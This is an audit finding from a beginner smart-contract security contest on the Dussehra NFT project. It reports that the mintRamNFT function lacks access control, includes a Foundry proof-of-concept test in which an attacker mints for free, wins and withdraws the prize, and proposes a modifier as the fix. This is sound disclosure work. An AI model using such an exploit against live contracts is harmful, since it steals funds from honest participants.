First Flight #17: Dussehra
First Flight #17
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Lacking of Access control in RamNFT.sol, anyone can mint RamNFT without paying entranceFee and have a chance to win

kazan

Description

in RamNFT contract, mintRamNFT function allows the Dussehra contract to mint Ram NFTs. So anyone want to enter in the event like Ram must pay entranceFee and receive the ramNFT via Dussehra::enterPeopleWhoLikeRam function. However, mintRamNFT function is lacking of access control, it doesn't have any modifier or require statement to ensure msg.sender is the Dussehra contract.

Impact

It allow everyone call and receive a ramNFT. They have chance to win and withdraw money without paying entranceFee.

Tools Used

  • Manual review

  • Foundry

PoC

  • player1 call enterPeopleWhoLikeRam and have to pay entranceFee.

  • player2 call mintRamNFT to receive ramNFT just pay the gas.

  • Time up, the organiser call ChoosingRam.selectRamIfNotSelected function and the winner is player2.

  • player2 kill Ranvana and withdraw money.

Place this test in Dussehra.t.sol

function test_canMintNftAndWinAndWithdrawWithoutPayEntranceFee() public {
vm.startPrank(player1);
vm.deal(player1, 1 ether);
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
vm.stopPrank();
​
vm.startPrank(player2);
ramNFT.mintRamNFT(player2);
vm.stopPrank();
​
vm.warp(1728691200 + 1);
​
vm.startPrank(organiser);
choosingRam.selectRamIfNotSelected();
vm.stopPrank();
​
vm.startPrank(player2);
dussehra.killRavana();
vm.stopPrank();
​
uint256 RamwinningAmount = dussehra.totalAmountGivenToRam();
​
vm.startPrank(player2);
dussehra.withdraw();
vm.stopPrank();
​
assertEq(player2.balance, RamwinningAmount);
}

Recommendations

Add an address of Dussehra contract, setdussehraContract function and onlydussehraContract modifier to check whenever the mintRamNFT function is called

contract RamNFT is ERC721URIStorage {
.
.
.
+ address public dussehraContract;
+
+ function setDussehraContract(address _dussehraContract) public onlyOrganiser {
+ dussehraContract = _dussehraContract;
+ }
+
+ modifier onlyDussehraContract() {
+ if (msg.sender != dussehraContract) {
+ revert RamNFT__NotDussehraContract();
+ }
+ _;
+ }
.
.
.
- function mintRamNFT(address to) public {
+ function mintRamNFT(address to) public onlyDussehraContract {
​
Updates

Lead Judging Commences

bube Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

mintRamNFT is public

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.